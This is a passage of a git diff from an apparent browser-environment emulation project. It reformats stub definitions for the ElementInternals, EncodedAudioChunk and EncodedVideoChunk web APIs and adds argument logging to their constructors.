"ElementInternals", "setValidity", arguments)}},'prototype'); +// ElementInternals对象 + +bodavm.memory.globalobj['ElementInternals'] = function ElementInternals() { + console.log_copy('ElementInternals 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ElementInternals)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ElementInternals'], "ElementInternals"); +bodavm.toolsFunc.defineProperty('ElementInternals', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "willValidate", { + configurable: true, + enumerable: true, + get: function willValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "willValidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "validity", { + configurable: true, + enumerable: true, + get: function validity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "validity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "validationMessage", { + configurable: true, + enumerable: true, + get: function validationMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "validationMessage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "labels", { + configurable: true, + enumerable: true, + get: function labels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "labels_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "states", { + configurable: true, + enumerable: true, + get: function states() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "states_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "shadowRoot", { + configurable: true, + enumerable: true, + get: function shadowRoot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "shadowRoot_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "role", { + configurable: true, + enumerable: true, + get: function role() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "role_get", arguments); + }, + set: function role() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "role_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaAtomic", { + configurable: true, + enumerable: true, + get: function ariaAtomic() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaAtomic_get", arguments); + }, + set: function ariaAtomic() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaAtomic_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaAutoComplete", { + configurable: true, + enumerable: true, + get: function ariaAutoComplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaAutoComplete_get", arguments); + }, + set: function ariaAutoComplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaAutoComplete_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaBusy", { + configurable: true, + enumerable: true, + get: function ariaBusy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBusy_get", arguments); + }, + set: function ariaBusy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBusy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaBrailleLabel", { + configurable: true, + enumerable: true, + get: function ariaBrailleLabel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBrailleLabel_get", arguments); + }, + set: function ariaBrailleLabel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBrailleLabel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaBrailleRoleDescription", { + configurable: true, + enumerable: true, + get: function ariaBrailleRoleDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBrailleRoleDescription_get", arguments); + }, + set: function ariaBrailleRoleDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBrailleRoleDescription_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaChecked", { + configurable: true, + enumerable: true, + get: function ariaChecked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaChecked_get", arguments); + }, + set: function ariaChecked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaChecked_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaColCount", { + configurable: true, + enumerable: true, + get: function ariaColCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColCount_get", arguments); + }, + set: function ariaColCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColCount_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaColIndex", { + configurable: true, + enumerable: true, + get: function ariaColIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColIndex_get", arguments); + }, + set: function ariaColIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColIndex_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaColSpan", { + configurable: true, + enumerable: true, + get: function ariaColSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColSpan_get", arguments); + }, + set: function ariaColSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColSpan_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaCurrent", { + configurable: true, + enumerable: true, + get: function ariaCurrent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaCurrent_get", arguments); + }, + set: function ariaCurrent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaCurrent_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaDescription", { + configurable: true, + enumerable: true, + get: function ariaDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaDescription_get", arguments); + }, + set: function ariaDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaDescription_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaDisabled", { + configurable: true, + enumerable: true, + get: function ariaDisabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaDisabled_get", arguments); + }, + set: function ariaDisabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaDisabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaExpanded", { + configurable: true, + enumerable: true, + get: function ariaExpanded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaExpanded_get", arguments); + }, + set: function ariaExpanded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaExpanded_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaHasPopup", { + configurable: true, + enumerable: true, + get: function ariaHasPopup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaHasPopup_get", arguments); + }, + set: function ariaHasPopup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaHasPopup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaHidden", { + configurable: true, + enumerable: true, + get: function ariaHidden() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaHidden_get", arguments); + }, + set: function ariaHidden() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaHidden_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaInvalid", { + configurable: true, + enumerable: true, + get: function ariaInvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaInvalid_get", arguments); + }, + set: function ariaInvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaInvalid_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaKeyShortcuts", { + configurable: true, + enumerable: true, + get: function ariaKeyShortcuts() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaKeyShortcuts_get", arguments); + }, + set: function ariaKeyShortcuts() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaKeyShortcuts_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaLabel", { + configurable: true, + enumerable: true, + get: function ariaLabel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLabel_get", arguments); + }, + set: function ariaLabel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLabel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaLevel", { + configurable: true, + enumerable: true, + get: function ariaLevel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLevel_get", arguments); + }, + set: function ariaLevel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLevel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaLive", { + configurable: true, + enumerable: true, + get: function ariaLive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLive_get", arguments); + }, + set: function ariaLive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLive_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaModal", { + configurable: true, + enumerable: true, + get: function ariaModal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaModal_get", arguments); + }, + set: function ariaModal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaModal_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaMultiLine", { + configurable: true, + enumerable: true, + get: function ariaMultiLine() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaMultiLine_get", arguments); + }, + set: function ariaMultiLine() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaMultiLine_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaMultiSelectable", { + configurable: true, + enumerable: true, + get: function ariaMultiSelectable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaMultiSelectable_get", arguments); + }, + set: function ariaMultiSelectable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaMultiSelectable_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaOrientation", { + configurable: true, + enumerable: true, + get: function ariaOrientation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaOrientation_get", arguments); + }, + set: function ariaOrientation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaOrientation_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaPlaceholder", { + configurable: true, + enumerable: true, + get: function ariaPlaceholder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPlaceholder_get", arguments); + }, + set: function ariaPlaceholder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPlaceholder_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaPosInSet", { + configurable: true, + enumerable: true, + get: function ariaPosInSet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPosInSet_get", arguments); + }, + set: function ariaPosInSet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPosInSet_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaPressed", { + configurable: true, + enumerable: true, + get: function ariaPressed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPressed_get", arguments); + }, + set: function ariaPressed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPressed_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaReadOnly", { + configurable: true, + enumerable: true, + get: function ariaReadOnly() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaReadOnly_get", arguments); + }, + set: function ariaReadOnly() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaReadOnly_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRelevant", { + configurable: true, + enumerable: true, + get: function ariaRelevant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRelevant_get", arguments); + }, + set: function ariaRelevant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRelevant_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRequired", { + configurable: true, + enumerable: true, + get: function ariaRequired() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRequired_get", arguments); + }, + set: function ariaRequired() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRequired_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRoleDescription", { + configurable: true, + enumerable: true, + get: function ariaRoleDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRoleDescription_get", arguments); + }, + set: function ariaRoleDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRoleDescription_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRowCount", { + configurable: true, + enumerable: true, + get: function ariaRowCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowCount_get", arguments); + }, + set: function ariaRowCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowCount_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRowIndex", { + configurable: true, + enumerable: true, + get: function ariaRowIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowIndex_get", arguments); + }, + set: function ariaRowIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowIndex_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRowSpan", { + configurable: true, + enumerable: true, + get: function ariaRowSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowSpan_get", arguments); + }, + set: function ariaRowSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowSpan_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaSelected", { + configurable: true, + enumerable: true, + get: function ariaSelected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSelected_get", arguments); + }, + set: function ariaSelected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSelected_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaSetSize", { + configurable: true, + enumerable: true, + get: function ariaSetSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSetSize_get", arguments); + }, + set: function ariaSetSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSetSize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaSort", { + configurable: true, + enumerable: true, + get: function ariaSort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSort_get", arguments); + }, + set: function ariaSort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaValueMax", { + configurable: true, + enumerable: true, + get: function ariaValueMax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueMax_get", arguments); + }, + set: function ariaValueMax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueMax_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaValueMin", { + configurable: true, + enumerable: true, + get: function ariaValueMin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueMin_get", arguments); + }, + set: function ariaValueMin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueMin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaValueNow", { + configurable: true, + enumerable: true, + get: function ariaValueNow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueNow_get", arguments); + }, + set: function ariaValueNow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueNow_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaValueText", { + configurable: true, + enumerable: true, + get: function ariaValueText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueText_get", arguments); + }, + set: function ariaValueText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "checkValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function checkValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "checkValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "reportValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function reportValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "reportValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "setFormValue", { + configurable: true, + enumerable: true, + writable: true, + value: function setFormValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "setFormValue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "setValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function setValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "setValidity", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/EncodedAudioChunk.js b/env_xbb_lastest_jsdom/env/EncodedAudioChunk.js index cc832e12..e8b0a370 100644 --- a/env_xbb_lastest_jsdom/env/EncodedAudioChunk.js +++ b/env_xbb_lastest_jsdom/env/EncodedAudioChunk.js @@ -1,8 +1,57 @@ -// EncodedAudioChunk对象 -bodavm.memory.globalobj['EncodedAudioChunk'] = function EncodedAudioChunk(){if (!(this instanceof EncodedAudioChunk)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'EncodedAudioChunk': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EncodedAudioChunk'], "EncodedAudioChunk"); -bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "timestamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "byteLength", {configurable:true, enumerable:true, get:function byteLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "byteLength_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "duration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "copyTo", {configurable:true, enumerable:true, writable:true, value:function copyTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "copyTo", arguments)}},'prototype'); +// EncodedAudioChunk对象 + +bodavm.memory.globalobj['EncodedAudioChunk'] = function EncodedAudioChunk() { + console.log_copy('EncodedAudioChunk 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof EncodedAudioChunk)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'EncodedAudioChunk': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EncodedAudioChunk'], "EncodedAudioChunk"); +bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "byteLength", { + configurable: true, + enumerable: true, + get: function byteLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "byteLength_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "duration", { + configurable: true, + enumerable: true, + get: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "duration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EncodedAudioChunk', "copyTo", { + configurable: true, + enumerable: true, + writable: true, + value: function copyTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedAudioChunk'].prototype, "EncodedAudioChunk", "copyTo", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/EncodedVideoChunk.js b/env_xbb_lastest_jsdom/env/EncodedVideoChunk.js index 18746ee0..da35ad08 100644 --- a/env_xbb_lastest_jsdom/env/EncodedVideoChunk.js +++ b/env_xbb_lastest_jsdom/env/EncodedVideoChunk.js @@ -1,8 +1,57 @@ -// EncodedVideoChunk对象 -bodavm.memory.globalobj['EncodedVideoChunk'] = function EncodedVideoChunk(){if (!(this instanceof EncodedVideoChunk)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'EncodedVideoChunk': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EncodedVideoChunk'], "EncodedVideoChunk"); -bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "timestamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "duration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "byteLength", {configurable:true, enumerable:true, get:function byteLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "byteLength_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "copyTo", {configurable:true, enumerable:true, writable:true, value:function copyTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "copyTo", arguments)}},'prototype'); +// EncodedVideoChunk对象 + +bodavm.memory.globalobj['EncodedVideoChunk'] = function EncodedVideoChunk() { + console.log_copy('EncodedVideoChunk 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof EncodedVideoChunk)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'EncodedVideoChunk': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; 